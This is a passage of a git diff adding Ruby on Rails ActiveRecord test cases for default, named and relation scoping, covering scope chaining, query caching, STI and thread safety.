+    assert_equal 10, DeveloperCalledJamis.unscoped { DeveloperCalledJamis.poor }.length
+  end
+
+  def test_default_scope_with_joins
+    assert_equal Comment.where(post_id: SpecialPostWithDefaultScope.pluck(:id)).count,
+                 Comment.joins(:special_post_with_default_scope).count
+    assert_equal Comment.where(post_id: Post.pluck(:id)).count,
+                 Comment.joins(:post).count
+  end
+
+  def test_joins_not_affected_by_scope_other_than_default_or_unscoped
+    without_scope_on_post = Comment.joins(:post).to_a
+    with_scope_on_post = nil
+    Post.where(id: [1, 5, 6]).scoping do
+      with_scope_on_post = Comment.joins(:post).to_a
+    end
+
+    assert_equal with_scope_on_post, without_scope_on_post
+  end
+
+  def test_unscoped_with_joins_should_not_have_default_scope
+    assert_equal SpecialPostWithDefaultScope.unscoped { Comment.joins(:special_post_with_default_scope).to_a },
+                 Comment.joins(:post).to_a
+  end
+
+  def test_sti_association_with_unscoped_not_affected_by_default_scope
+    post = posts(:thinking)
+    comments = [comments(:does_it_hurt)]
+
+    post.special_comments.update_all(deleted_at: Time.now)
+
+    assert_raises(ActiveRecord::RecordNotFound) { Post.joins(:special_comments).find(post.id) }
+    assert_equal [], post.special_comments
+
+    SpecialComment.unscoped do
+      assert_equal post, Post.joins(:special_comments).find(post.id)
+      assert_equal comments, Post.joins(:special_comments).find(post.id).special_comments
+      assert_equal comments, Post.eager_load(:special_comments).find(post.id).special_comments
+      assert_equal comments, Post.includes(:special_comments).find(post.id).special_comments
+      assert_equal comments, Post.preload(:special_comments).find(post.id).special_comments
+    end
+  end
+
+  def test_default_scope_select_ignored_by_aggregations
+    assert_equal DeveloperWithSelect.all.to_a.count, DeveloperWithSelect.count
+  end
+
+  def test_default_scope_select_ignored_by_grouped_aggregations
+    assert_equal Hash[Developer.all.group_by(&:salary).map { |s, d| [s, d.count] }],
+                 DeveloperWithSelect.group(:salary).count
+  end
+
+  def test_default_scope_order_ignored_by_aggregations
+    assert_equal DeveloperOrderedBySalary.all.count, DeveloperOrderedBySalary.count
+  end
+
+  def test_default_scope_find_last
+    assert DeveloperOrderedBySalary.count > 1, "need more than one row for test"
+
+    lowest_salary_dev = DeveloperOrderedBySalary.find(developers(:poor_jamis).id)
+    assert_equal lowest_salary_dev, DeveloperOrderedBySalary.last
+  end
+
+  def test_default_scope_include_with_count
+    d = DeveloperWithIncludes.create!
+    d.audit_logs.create! message: "foo"
+
+    assert_equal 1, DeveloperWithIncludes.where(audit_logs: { message: "foo" }).count
+  end
+
+  def test_default_scope_with_references_works_through_collection_association
+    post = PostWithCommentWithDefaultScopeReferencesAssociation.create!(title: "Hello World", body: "Here we go.")
+    comment = post.comment_with_default_scope_references_associations.create!(body: "Great post.", developer_id: Developer.first.id)
+    assert_equal comment, post.comment_with_default_scope_references_associations.to_a.first
+  end
+
+  def test_default_scope_with_references_works_through_association
+    post = PostWithCommentWithDefaultScopeReferencesAssociation.create!(title: "Hello World", body: "Here we go.")
+    comment = post.comment_with_default_scope_references_associations.create!(body: "Great post.", developer_id: Developer.first.id)
+    assert_equal comment, post.first_comment
+  end
+
+  def test_default_scope_with_references_works_with_find_by
+    post = PostWithCommentWithDefaultScopeReferencesAssociation.create!(title: "Hello World", body: "Here we go.")
+    comment = post.comment_with_default_scope_references_associations.create!(body: "Great post.", developer_id: Developer.first.id)
+    assert_equal comment, CommentWithDefaultScopeReferencesAssociation.find_by(id: comment.id)
+  end
+
+  test "additional conditions are ANDed with the default scope" do
+    scope = DeveloperCalledJamis.where(name: "David")
+    assert_equal 2, scope.where_clause.ast.children.length
+    assert_equal [], scope.to_a
+  end
+
+  test "additional conditions in a scope are ANDed with the default scope" do
+    scope = DeveloperCalledJamis.david
+    assert_equal 2, scope.where_clause.ast.children.length
+    assert_equal [], scope.to_a
+  end
+
+  test "a scope can remove the condition from the default scope" do
+    scope = DeveloperCalledJamis.david2
+    assert_equal 1, scope.where_clause.ast.children.length
+    assert_equal Developer.where(name: "David"), scope
+  end
+
+  def test_with_abstract_class_where_clause_should_not_be_duplicated
+    scope = Bus.all
+    assert_equal scope.where_clause.ast.children.length, 1
+  end
+
+  def test_sti_conditions_are_not_carried_in_default_scope
+    ConditionalStiPost.create! body: ""
+    SubConditionalStiPost.create! body: ""
+    SubConditionalStiPost.create! title: "Hello world", body: ""
+
+    assert_equal 2, ConditionalStiPost.count
+    assert_equal 2, ConditionalStiPost.all.to_a.size
+    assert_equal 3, ConditionalStiPost.unscope(where: :title).to_a.size
+
+    assert_equal 1, SubConditionalStiPost.count
+    assert_equal 1, SubConditionalStiPost.all.to_a.size
+    assert_equal 2, SubConditionalStiPost.unscope(where: :title).to_a.size
+  end
+
+  def test_with_abstract_class_scope_should_be_executed_in_correct_context
+    vegetarian_pattern, gender_pattern = if current_adapter?(:Mysql2Adapter)
+      [/`lions`.`is_vegetarian`/, /`lions`.`gender`/]
+    elsif current_adapter?(:OracleAdapter)
+      [/"LIONS"."IS_VEGETARIAN"/, /"LIONS"."GENDER"/]
+    else
+      [/"lions"."is_vegetarian"/, /"lions"."gender"/]
+    end
+
+    assert_match vegetarian_pattern, Lion.all.to_sql
+    assert_match gender_pattern, Lion.female.to_sql
+  end
+end
+
+class DefaultScopingWithThreadTest < ActiveRecord::TestCase
+  self.use_transactional_tests = false
+
+  def test_default_scoping_with_threads
+    2.times do
+      Thread.new {
+        assert_includes DeveloperOrderedBySalary.all.to_sql, "salary DESC"
+        DeveloperOrderedBySalary.connection.close
+      }.join
+    end
+  end
+
+  def test_default_scope_is_threadsafe
+    threads = []
+    assert_not_equal 1, ThreadsafeDeveloper.unscoped.count
+
+    barrier_1 = Concurrent::CyclicBarrier.new(2)
+    barrier_2 = Concurrent::CyclicBarrier.new(2)
+
+    threads << Thread.new do
+      Thread.current[:default_scope_delay] = -> { barrier_1.wait; barrier_2.wait }
+      assert_equal 1, ThreadsafeDeveloper.all.to_a.count
+      ThreadsafeDeveloper.connection.close
+    end
+    threads << Thread.new do
+      Thread.current[:default_scope_delay] = -> { barrier_2.wait }
+      barrier_1.wait
+      assert_equal 1, ThreadsafeDeveloper.all.to_a.count
+      ThreadsafeDeveloper.connection.close
+    end
+    threads.each(&:join)
+  end
+end unless in_memory_db?
diff --git a/activerecord/test/cases/scoping/named_scoping_test.rb b/activerecord/test/cases/scoping/named_scoping_test.rb
new file mode 100644
index 0000000000..1db7432e34
--- /dev/null
+++ b/activerecord/test/cases/scoping/named_scoping_test.rb
@@ -0,0 +1,575 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/post"
+require "models/topic"
+require "models/comment"
+require "models/reply"
+require "models/author"
+require "models/developer"
+require "models/computer"
+
+class NamedScopingTest < ActiveRecord::TestCase
+  fixtures :posts, :authors, :topics, :comments, :author_addresses
+
+  def test_implements_enumerable
+    assert !Topic.all.empty?
+
+    assert_equal Topic.all.to_a, Topic.base
+    assert_equal Topic.all.to_a, Topic.base.to_a
+    assert_equal Topic.first,    Topic.base.first
+    assert_equal Topic.all.to_a, Topic.base.map { |i| i }
+  end
+
+  def test_found_items_are_cached
+    all_posts = Topic.base
+
+    assert_queries(1) do
+      all_posts.collect { true }
+      all_posts.collect { true }
+    end
+  end
+
+  def test_reload_expires_cache_of_found_items
+    all_posts = Topic.base
+    all_posts.to_a
+
+    new_post = Topic.create!
+    assert_not_includes all_posts, new_post
+    assert_includes all_posts.reload, new_post
+  end
+
+  def test_delegates_finds_and_calculations_to_the_base_class
+    assert !Topic.all.empty?
+
+    assert_equal Topic.all.to_a,                Topic.base.to_a
+    assert_equal Topic.first,                   Topic.base.first
+    assert_equal Topic.count,                   Topic.base.count
+    assert_equal Topic.average(:replies_count), Topic.base.average(:replies_count)
+  end
+
+  def test_calling_merge_at_first_in_scope
+    Topic.class_eval do
+      scope :calling_merge_at_first_in_scope, Proc.new { merge(Topic.replied) }
+    end
+    assert_equal Topic.calling_merge_at_first_in_scope.to_a, Topic.replied.to_a
+  end
+
+  def test_method_missing_priority_when_delegating
+    klazz = Class.new(ActiveRecord::Base) do
+      self.table_name = "topics"
+      scope :since, Proc.new { where("written_on >= ?", Time.now - 1.day) }
+      scope :to,    Proc.new { where("written_on <= ?", Time.now) }
+    end
+    assert_equal klazz.to.since.to_a, klazz.since.to.to_a
+  end
+
+  def test_scope_should_respond_to_own_methods_and_methods_of_the_proxy
+    assert Topic.approved.respond_to?(:limit)
+    assert Topic.approved.respond_to?(:count)
+    assert Topic.approved.respond_to?(:length)
+  end
+
+  def test_scopes_with_options_limit_finds_to_those_matching_the_criteria_specified
+    assert !Topic.all.merge!(where: { approved: true }).to_a.empty?
+
+    assert_equal Topic.all.merge!(where: { approved: true }).to_a, Topic.approved
+    assert_equal Topic.where(approved: true).count, Topic.approved.count
+  end
+
+  def test_scopes_with_string_name_can_be_composed
+    # NOTE that scopes defined with a string as a name worked on their own
+    # but when called on another scope the other scope was completely replaced
+    assert_equal Topic.replied.approved, Topic.replied.approved_as_string
+  end
+
+  def test_scopes_are_composable
+    assert_equal((approved = Topic.all.merge!(where: { approved: true }).to_a), Topic.approved)
+    assert_equal((replied = Topic.all.merge!(where: "replies_count > 0").to_a), Topic.replied)
+    assert !(approved == replied)
+    assert !(approved & replied).empty?
+
+    assert_equal approved & replied, Topic.approved.replied
+  end
+
+  def test_procedural_scopes
+    topics_written_before_the_third = Topic.where("written_on < ?", topics(:third).written_on)
+    topics_written_before_the_second = Topic.where("written_on < ?", topics(:second).written_on)
+    assert_not_equal topics_written_before_the_second, topics_written_before_the_third
+
+    assert_equal topics_written_before_the_third, Topic.written_before(topics(:third).written_on)
+    assert_equal topics_written_before_the_second, Topic.written_before(topics(:second).written_on)
+  end
+
+  def test_procedural_scopes_returning_nil
+    all_topics = Topic.all
+
+    assert_equal all_topics, Topic.written_before(nil)
+  end
+
+  def test_scope_with_object
+    objects = Topic.with_object
+    assert_operator objects.length, :>, 0
+    assert objects.all?(&:approved?), "all objects should be approved"
+  end
+
+  def test_has_many_associations_have_access_to_scopes
+    assert_not_equal Post.containing_the_letter_a, authors(:david).posts
+    assert !Post.containing_the_letter_a.empty?
+
+    assert_equal authors(:david).posts & Post.containing_the_letter_a, authors(:david).posts.containing_the_letter_a
+  end
+
+  def test_scope_with_STI
+    assert_equal 3, Post.containing_the_letter_a.count
+    assert_equal 1, SpecialPost.containing_the_letter_a.count
+  end
+
+  def test_has_many_through_associations_have_access_to_scopes
+    assert_not_equal Comment.containing_the_letter_e, authors(:david).comments
+    assert !Comment.containing_the_letter_e.empty?
+
+    assert_equal authors(:david).comments & Comment.containing_the_letter_e, authors(:david).comments.containing_the_letter_e
+  end
+
+  def test_scopes_honor_current_scopes_from_when_defined
+    assert !Post.ranked_by_comments.limit_by(5).empty?
+    assert !authors(:david).posts.ranked_by_comments.limit_by(5).empty?
+    assert_not_equal Post.ranked_by_comments.limit_by(5), authors(:david).posts.ranked_by_comments.limit_by(5)
+    assert_not_equal Post.top(5), authors(:david).posts.top(5)
+    # Oracle sometimes sorts differently if WHERE condition is changed
+    assert_equal authors(:david).posts.ranked_by_comments.limit_by(5).to_a.sort_by(&:id), authors(:david).posts.top(5).to_a.sort_by(&:id)
+    assert_equal Post.ranked_by_comments.limit_by(5), Post.top(5)
+  end
+
+  def test_scopes_body_is_a_callable
+    e = assert_raises ArgumentError do
+      Class.new(Post).class_eval { scope :containing_the_letter_z, where("body LIKE '%z%'") }
+    end
+    assert_equal "The scope body needs to be callable.", e.message
+  end
+
+  def test_active_records_have_scope_named__all__
+    assert !Topic.all.empty?
+
+    assert_equal Topic.all.to_a, Topic.base
+  end
+
+  def test_active_records_have_scope_named__scoped__
+    scope = Topic.where("content LIKE '%Have%'")
+    assert !scope.empty?
+
+    assert_equal scope, Topic.all.merge!(where: "content LIKE '%Have%'")
+  end
+
+  def test_first_and_last_should_allow_integers_for_limit
+    assert_equal Topic.base.first(2), Topic.base.order("id").to_a.first(2)
+    assert_equal Topic.base.last(2), Topic.base.order("id").to_a.last(2)
+  end
+
+  def test_first_and_last_should_not_use_query_when_results_are_loaded
+    topics = Topic.base
+    topics.load # force load
+    assert_no_queries do
+      topics.first
+      topics.last
+    end
+  end
+
+  def test_empty_should_not_load_results
+    topics = Topic.base
+    assert_queries(2) do
+      topics.empty?  # use count query
+      topics.load    # force load
+      topics.empty?  # use loaded (no query)
+    end
+  end
+
+  def test_any_should_not_load_results
+    topics = Topic.base
+    assert_queries(2) do
+      topics.any?    # use count query
+      topics.load    # force load
+      topics.any?    # use loaded (no query)
+    end
+  end
+
+  def test_any_should_call_proxy_found_if_using_a_block
+    topics = Topic.base
+    assert_queries(1) do
+      assert_not_called(topics, :empty?) do
+        topics.any? { true }
+      end
+    end
+  end
+
+  def test_any_should_not_fire_query_if_scope_loaded
+    topics = Topic.base
+    topics.load # force load
+    assert_no_queries { assert topics.any? }
+  end
+
+  def test_model_class_should_respond_to_any
+    assert Topic.any?
+    Topic.delete_all
+    assert !Topic.any?
+  end
+
+  def test_many_should_not_load_results
+    topics = Topic.base
+    assert_queries(2) do
+      topics.many?   # use count query
+      topics.load    # force load
+      topics.many?   # use loaded (no query)
+    end
+  end
+
+  def test_many_should_call_proxy_found_if_using_a_block
+    topics = Topic.base
+    assert_queries(1) do
+      assert_not_called(topics, :size) do
+        topics.many? { true }
+      end
+    end
+  end
+
+  def test_many_should_not_fire_query_if_scope_loaded
+    topics = Topic.base
+    topics.load # force load
+    assert_no_queries { assert topics.many? }
+  end
+
+  def test_many_should_return_false_if_none_or_one
+    topics = Topic.base.where(id: 0)
+    assert !topics.many?
+    topics = Topic.base.where(id: 1)
+    assert !topics.many?
+  end
+
+  def test_many_should_return_true_if_more_than_one
+    assert Topic.base.many?
+  end
+
+  def test_model_class_should_respond_to_many
+    Topic.delete_all
+    assert !Topic.many?
+    Topic.create!
+    assert !Topic.many?
+    Topic.create!
+    assert Topic.many?
+  end
+
+  def test_should_build_on_top_of_scope
+    topic = Topic.approved.build({})
+    assert topic.approved
+  end
+
+  def test_should_build_new_on_top_of_scope
+    topic = Topic.approved.new
+    assert topic.approved
+  end
+
+  def test_should_create_on_top_of_scope
+    topic = Topic.approved.create({})
+    assert topic.approved
+  end
+
+  def test_should_create_with_bang_on_top_of_scope
+    topic = Topic.approved.create!({})
+    assert topic.approved
+  end
+
+  def test_should_build_on_top_of_chained_scopes
+    topic = Topic.approved.by_lifo.build({})
+    assert topic.approved
+    assert_equal "lifo", topic.author_name
+  end
+
+  def test_reserved_scope_names
+    klass = Class.new(ActiveRecord::Base) do
+      self.table_name = "topics"
+
+      scope :approved, -> { where(approved: true) }
+
+      class << self
+        public
+          def pub; end
+
+        private
+          def pri; end
+
+        protected
+          def pro; end
+      end
+    end
+
+    subklass = Class.new(klass)
+
+    conflicts = [
+      :create,        # public class method on AR::Base
+      :relation,      # private class method on AR::Base
+      :new,           # redefined class method on AR::Base
+      :all,           # a default scope
+      :public,        # some important methods on Module and Class
+      :protected,
+      :private,
+      :name,
+      :parent,
+      :superclass
+    ]
+
+    non_conflicts = [
+      :find_by_title, # dynamic finder method
+      :approved,      # existing scope
+      :pub,           # existing public class method
+      :pri,           # existing private class method
+      :pro,           # existing protected class method
+      :open,          # a ::Kernel method
+    ]
+
+    conflicts.each do |name|
+      e = assert_raises(ArgumentError, "scope `#{name}` should not be allowed") do
+        klass.class_eval { scope name, -> { where(approved: true) } }
+      end
+      assert_match(/You tried to define a scope named \"#{name}\" on the model/, e.message)
+
+      e = assert_raises(ArgumentError, "scope `#{name}` should not be allowed") do
+        subklass.class_eval { scope name, -> { where(approved: true) } }
+      end
+      assert_match(/You tried to define a scope named \"#{name}\" on the model/, e.message)
+    end
+
+    non_conflicts.each do |name|
+      assert_nothing_raised do
+        silence_warnings do
+          klass.class_eval { scope name, -> { where(approved: true) } }
+        end
+      end
+
+      assert_nothing_raised do
+        subklass.class_eval { scope name, -> { where(approved: true) } }
+      end
+    end
+  end
+
+  # Method delegation for scope names which look like /\A[a-zA-Z_]\w*[!?]?\z/
+  # has been done by evaluating a string with a plain def statement. For scope
+  # names which contain spaces this approach doesn't work.
+  def test_spaces_in_scope_names
+    klass = Class.new(ActiveRecord::Base) do
+      self.table_name = "topics"
+      scope :"title containing space", -> { where("title LIKE '% %'") }
+      scope :approved, -> { where(approved: true) }
+    end
+    assert_equal klass.send(:"title containing space"), klass.where("title LIKE '% %'")
+    assert_equal klass.approved.send(:"title containing space"), klass.approved.where("title LIKE '% %'")
+  end
+
+  def test_find_all_should_behave_like_select
+    assert_equal Topic.base.to_a.select(&:approved), Topic.base.to_a.find_all(&:approved)
+  end
+
+  def test_rand_should_select_a_random_object_from_proxy
+    assert_kind_of Topic, Topic.approved.sample
+  end
+
+  def test_should_use_where_in_query_for_scope
+    assert_equal Developer.where(name: "Jamis").to_set, Developer.where(id: Developer.jamises).to_set
+  end
+
+  def test_size_should_use_count_when_results_are_not_loaded
+    topics = Topic.base
+    assert_queries(1) do
+      assert_sql(/COUNT/i) { topics.size }
+    end
+  end
+
+  def test_size_should_use_length_when_results_are_loaded
+    topics = Topic.base
+    topics.load # force load
+    assert_no_queries do
+      topics.size # use loaded (no query)
+    end
+  end
+
+  def test_should_not_duplicates_where_values
+    relation = Topic.where("1=1")
+    assert_equal relation.where_clause, relation.scope_with_lambda.where_clause
+  end
+
+  def test_chaining_with_duplicate_joins
+    join = "INNER JOIN comments ON comments.post_id = posts.id"
+    post = Post.find(1)
+    assert_equal post.comments.size, Post.joins(join).joins(join).where("posts.id = #{post.id}").size
+  end
+
+  def test_chaining_applies_last_conditions_when_creating
+    post = Topic.rejected.new
+    assert !post.approved?
+
+    post = Topic.rejected.approved.new
+    assert post.approved?
+
+    post = Topic.approved.rejected.new
+    assert !post.approved?
+
+    post = Topic.approved.rejected.approved.new
+    assert post.approved?
+  end
+
+  def test_chaining_combines_conditions_when_searching
+    # Normal hash conditions
+    assert_equal Topic.where(approved: false).where(approved: true).to_a, Topic.rejected.approved.to_a
+    assert_equal Topic.where(approved: true).where(approved: false).to_a, Topic.approved.rejected.to_a
+
+    # Nested hash conditions with same keys
+    assert_equal [], Post.with_special_comments.with_very_special_comments.to_a
+
+    # Nested hash conditions with different keys
+    assert_equal [posts(:sti_comments)], Post.with_special_comments.with_post(4).to_a.uniq
+  end
+
+  def test_scopes_batch_finders
+    assert_equal 4, Topic.approved.count
+
+    assert_queries(5) do
+      Topic.approved.find_each(batch_size: 1) { |t| assert t.approved? }
+    end
+
+    assert_queries(3) do
+      Topic.approved.find_in_batches(batch_size: 2) do |group|
+        group.each { |t| assert t.approved? }
+      end
+    end
+  end
+
+  def test_table_names_for_chaining_scopes_with_and_without_table_name_included
+    assert_nothing_raised do
+      Comment.for_first_post.for_first_author.to_a
+    end
+  end
+
+  def test_scopes_with_reserved_names
+    class << Topic
+      def public_method; end
+      public :public_method
+
+      def protected_method; end
+      protected :protected_method
+
+      def private_method; end
+      private :private_method
+    end
+
+    [:public_method, :protected_method, :private_method].each do |reserved_method|
+      assert Topic.respond_to?(reserved_method, true)
+      ActiveRecord::Base.logger.expects(:warn)
+      silence_warnings { Topic.scope(reserved_method, -> {}) }
+    end
+  end
+
+  def test_scopes_on_relations
+    # Topic.replied
+    approved_topics = Topic.all.approved.order("id DESC")
+    assert_equal topics(:fifth), approved_topics.first
+
+    replied_approved_topics = approved_topics.replied
+    assert_equal topics(:third), replied_approved_topics.first
+  end
+
+  def test_index_on_scope
+    approved = Topic.approved.order("id ASC")
+    assert_equal topics(:second), approved[0]
+    assert approved.loaded?
+  end
+
+  def test_nested_scopes_queries_size
+    assert_queries(1) do
+      Topic.approved.by_lifo.replied.written_before(Time.now).to_a
+    end
+  end
+
+  # Note: these next two are kinda odd because they are essentially just testing that the
+  # query cache works as it should, but they are here for legacy reasons as they was previously
+  # a separate cache on association proxies, and these show that that is not necessary.
+  def test_scopes_are_cached_on_associations
+    post = posts(:welcome)
+
+    Post.cache do
+      assert_queries(1) { post.comments.containing_the_letter_e.to_a }
+      assert_no_queries { post.comments.containing_the_letter_e.to_a }
+    end
+  end
+
+  def test_scopes_with_arguments_are_cached_on_associations
+    post = posts(:welcome)
+
+    Post.cache do
+      one = assert_queries(1) { post.comments.limit_by(1).to_a }
+      assert_equal 1, one.size
+
+      two = assert_queries(1) { post.comments.limit_by(2).to_a }
+      assert_equal 2, two.size
+
+      assert_no_queries { post.comments.limit_by(1).to_a }
+      assert_no_queries { post.comments.limit_by(2).to_a }
+    end
+  end
+
+  def test_scopes_to_get_newest
+    post = posts(:welcome)
+    old_last_comment = post.comments.newest
+    new_comment = post.comments.create(body: "My new comment")
+    assert_equal new_comment, post.comments.newest
+    assert_not_equal old_last_comment, post.comments.newest
+  end
+
+  def test_scopes_are_reset_on_association_reload
+    post = posts(:welcome)
+
+    [:destroy_all, :reset, :delete_all].each do |method|
+      before = post.comments.containing_the_letter_e
+      post.association(:comments).send(method)
+      assert before.object_id != post.comments.containing_the_letter_e.object_id, "CollectionAssociation##{method} should reset the named scopes cache"
+    end
+  end
+
+  def test_scoped_are_lazy_loaded_if_table_still_does_not_exist
+    assert_nothing_raised do
+      require "models/without_table"
+    end
+  end
+
+  def test_eager_default_scope_relations_are_remove
+    klass = Class.new(ActiveRecord::Base)
+    klass.table_name = "posts"
+
+    assert_raises(ArgumentError) do
+      klass.send(:default_scope, klass.where(id: posts(:welcome).id))
+    end
+  end
+
+  def test_subclass_merges_scopes_properly
+    assert_equal 1, SpecialComment.where(body: "go crazy").created.count
+  end
+
+  def test_model_class_should_respond_to_extending
+    assert_raises OopsError do
+      Comment.unscoped.oops_comments.destroy_all
+    end
+  end
+
+  def test_model_class_should_respond_to_none
+    assert !Topic.none?
+    Topic.delete_all
+    assert Topic.none?
+  end
+
+  def test_model_class_should_respond_to_one
+    assert !Topic.one?
+    Topic.delete_all
+    assert !Topic.one?
+    Topic.create!
+    assert Topic.one?
+  end
+end
diff --git a/activerecord/test/cases/scoping/relation_scoping_test.rb b/activerecord/test/cases/scoping/relation_scoping_test.rb
new file mode 100644
index 0000000000..f3b84d88c2
--- /dev/null
+++ b/activerecord/test/cases/scoping/relation_scoping_test.rb
@@ -0,0 +1,402 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/post"
+require "models/author"
+require "models/developer"
+require "models/computer"
+require "models/project"
+require "models/comment"
+require "models/category"
+require "models/person"
+require "models/reference"
+
+class RelationScopingTest < ActiveRecord::TestCase
+  fixtures :authors, :author_addresses, :developers, :projects, :comments, :posts, :developers_projects
+
+  setup do
+    developers(:david)
+  end
+
+  def test_unscoped_breaks_caching
+    author = authors :mary
+    assert_nil author.first_post
+    post = FirstPost.unscoped do
+      author.reload.first_post
+    end
+    assert post
+  end
+
+  def test_scope_breaks_caching_on_collections
+    author = authors :david
+    ids = author.reload.special_posts_with_default_scope.map(&:id)
+    assert_equal [1, 5, 6], ids.sort
+    scoped_posts = SpecialPostWithDefaultScope.unscoped do
+      author = authors :david
+      author.reload.special_posts_with_default_scope.to_a
+    end
+    assert_equal author.posts.map(&:id).sort, scoped_posts.map(&:id).sort
+  end
+
+  def test_reverse_order
+    assert_equal Developer.order("id DESC").to_a.reverse, Developer.order("id DESC").reverse_order
+  end
+
+  def test_reverse_order_with_arel_node
+    assert_equal Developer.order("id DESC").to_a.reverse, Developer.order(Developer.arel_table[:id].desc).reverse_order
+  end
+
+  def test_reverse_order_with_multiple_arel_nodes
+    assert_equal Developer.order("id DESC").order("name DESC").to_a.reverse, Developer.order(Developer.arel_table[:id].desc).order(Developer.arel_table[:name].desc).reverse_order
+  end
+
+  def test_reverse_order_with_arel_nodes_and_strings
+    assert_equal Developer.order("id DESC").order("name DESC").to_a.reverse, Developer.order("id DESC").order(Developer.arel_table[:name].desc).reverse_order
+  end
+
+  def test_double_reverse_order_produces_original_order
+    assert_equal Developer.order("name DESC"), Developer.order("name DESC").reverse_order.reverse_order
+  end
+
+  def test_scoped_find
+    Developer.where("name = 'David'").scoping do
+      assert_nothing_raised { Developer.find(1) }
+    end
+  end
+
+  def test_scoped_find_first
+    developer = Developer.find(10)
+    Developer.where("salary = 100000").scoping do
+      assert_equal developer, Developer.order("name").first
+    end
+  end
+
+  def test_scoped_find_last
+    highest_salary = Developer.order("salary DESC").first
+
+    Developer.order("salary").scoping do
+      assert_equal highest_salary, Developer.last
+    end
+  end
+
+  def test_scoped_find_last_preserves_scope
+    lowest_salary  = Developer.order("salary ASC").first
+    highest_salary = Developer.order("salary DESC").first
+
+    Developer.order("salary").scoping do
+      assert_equal highest_salary, Developer.last
+      assert_equal lowest_salary, Developer.first
+    end
+  end
+
+  def test_scoped_find_combines_and_sanitizes_conditions
+    Developer.where("salary = 9000").scoping do
+      assert_equal developers(:poor_jamis), Developer.where("name = 'Jamis'").first
+    end
+  end
+
+  def test_scoped_find_all
+    Developer.where("name = 'David'").scoping do
+      assert_equal [developers(:david)], Developer.all
+    end
+  end
+
+  def test_scoped_find_select
+    Developer.select("id, name").scoping do
+      developer = Developer.where("name = 'David'").first
+      assert_equal "David", developer.name
+      assert !developer.has_attribute?(:salary)
+    end
+  end
+
+  def test_scope_select_concatenates
+    Developer.select("id, name").scoping do
+      developer = Developer.select("salary").where("name = 'David'").first
+      assert_equal 80000, developer.salary
+      assert developer.has_attribute?(:id)
+      assert developer.has_attribute?(:name)
+      assert developer.has_attribute?(:salary)
+    end
+  end
+
+  def test_scoped_count
+    Developer.where("name = 'David'").scoping do
+      assert_equal 1, Developer.count
+    end
+
+    Developer.where("salary = 100000").scoping do
+      assert_equal 8, Developer.count
+      assert_equal 1, Developer.where("name LIKE 'fixture_1%'").count
+    end
+  end
+
+  def test_scoped_find_include
+    # with the include, will retrieve only developers for the given project
+    scoped_developers = Developer.includes(:projects).scoping do
+      Developer.where("projects.id" => 2).to_a
+    end
+    assert_includes scoped_developers, developers(:david)
+    assert_not_includes scoped_developers, developers(:jamis)
+    assert_equal 1, scoped_developers.size
+  end
+
+  def test_scoped_find_joins
+    scoped_developers = Developer.joins("JOIN developers_projects ON id = developer_id").scoping do
+      Developer.where("developers_projects.project_id = 2").to_a
+    end
+
+    assert_includes scoped_developers, developers(:david)
+    assert_not_includes scoped_developers, developers(:jamis)
+    assert_equal 1, scoped_developers.size
+    assert_equal developers(:david).attributes, scoped_developers.first.attributes
+  end
+
+  def test_scoped_create_with_where
+    new_comment = VerySpecialComment.where(post_id: 1).scoping do
+      VerySpecialComment.create body: "Wonderful world"
+    end
+
+    assert_equal 1, new_comment.post_id
+    assert_includes Post.find(1).comments, new_comment
+  end
+
+  def test_scoped_create_with_create_with
+    new_comment = VerySpecialComment.create_with(post_id: 1).scoping do
+      VerySpecialComment.create body: "Wonderful world"
+    end
+
+    assert_equal 1, new_comment.post_id
+    assert_includes Post.find(1).comments, new_comment
+  end
+
+  def test_scoped_create_with_create_with_has_higher_priority
+    new_comment = VerySpecialComment.where(post_id: 2).create_with(post_id: 1).scoping do
+      VerySpecialComment.create body: "Wonderful world"
+    end
+
+    assert_equal 1, new_comment.post_id
+    assert_includes Post.find(1).comments, new_comment
+  end
+
+  def test_ensure_that_method_scoping_is_correctly_restored
+    begin
+      Developer.where("name = 'Jamis'").scoping do
+        raise "an exception"
+      end
+    rescue
+    end
+
+    assert_not Developer.all.to_sql.include?("name = 'Jamis'"), "scope was not restored"
+  end
+
+  def test_default_scope_filters_on_joins
+    assert_equal 1, DeveloperFilteredOnJoins.all.count
+    assert_equal DeveloperFilteredOnJoins.all.first, developers(:david).becomes(DeveloperFilteredOnJoins)
+  end
+
+  def test_update_all_default_scope_filters_on_joins
+    DeveloperFilteredOnJoins.update_all(salary: 65000)
+    assert_equal 65000, Developer.find(developers(:david).id).salary
+
+    # has not changed jamis
+    assert_not_equal 65000, Developer.find(developers(:jamis).id).salary
+  end
+
+  def test_delete_all_default_scope_filters_on_joins
+    assert_not_equal [], DeveloperFilteredOnJoins.all
+
+    DeveloperFilteredOnJoins.delete_all()
+
+    assert_equal [], DeveloperFilteredOnJoins.all
+    assert_not_equal [], Developer.all
+  end
+
+  def test_current_scope_does_not_pollute_sibling_subclasses
+    Comment.none.scoping do
+      assert_not SpecialComment.all.any?
+      assert_not VerySpecialComment.all.any?
+      assert_not SubSpecialComment.all.any?
+    end
+
+    SpecialComment.none.scoping do
+      assert Comment.all.any?
+      assert VerySpecialComment.all.any?
+      assert_not SubSpecialComment.all.any?
+    end
+
+    SubSpecialComment.none.scoping do
+      assert Comment.all.any?
+      assert VerySpecialComment.all.any?
+      assert SpecialComment.all.any?
+    end
+  end
+
+  def test_scoping_is_correctly_restored
+    Comment.unscoped do
+      SpecialComment.unscoped.created
+    end
+
+    assert_nil Comment.current_scope
+    assert_nil SpecialComment.current_scope
+  end
+
+  def test_circular_joins_with_scoping_does_not_crash
+    posts = Post.joins(comments: :post).scoping do
+      Post.first(10)
+    end
+    assert_equal posts, Post.joins(comments: :post).first(10)
+  end
+
+  def test_circular_left_joins_with_scoping_does_not_crash
+    posts = Post.left_joins(comments: :post).scoping do
+      Post.first(10)
+    end
+    assert_equal posts, Post.left_joins(comments: :post).first(10)
+  end
+end
+
+class NestedRelationScopingTest < ActiveRecord::TestCase
+  fixtures :authors, :author_addresses, :developers, :projects, :comments, :posts
+
+  def test_merge_options
+    Developer.where("salary = 80000").scoping do
+      Developer.limit(10).scoping do
+        devs = Developer.all
+        sql = devs.to_sql
+        assert_match "(salary = 80000)", sql
+        assert_match(/LIMIT 10|ROWNUM <= 10|FETCH FIRST 10 ROWS ONLY/, sql)
+      end
+    end
+  end
+
+  def test_merge_inner_scope_has_priority
+    Developer.limit(5).scoping do
+      Developer.limit(10).scoping do
+        assert_equal 10, Developer.all.size
+      end
+    end
+  end
+
+  def test_replace_options
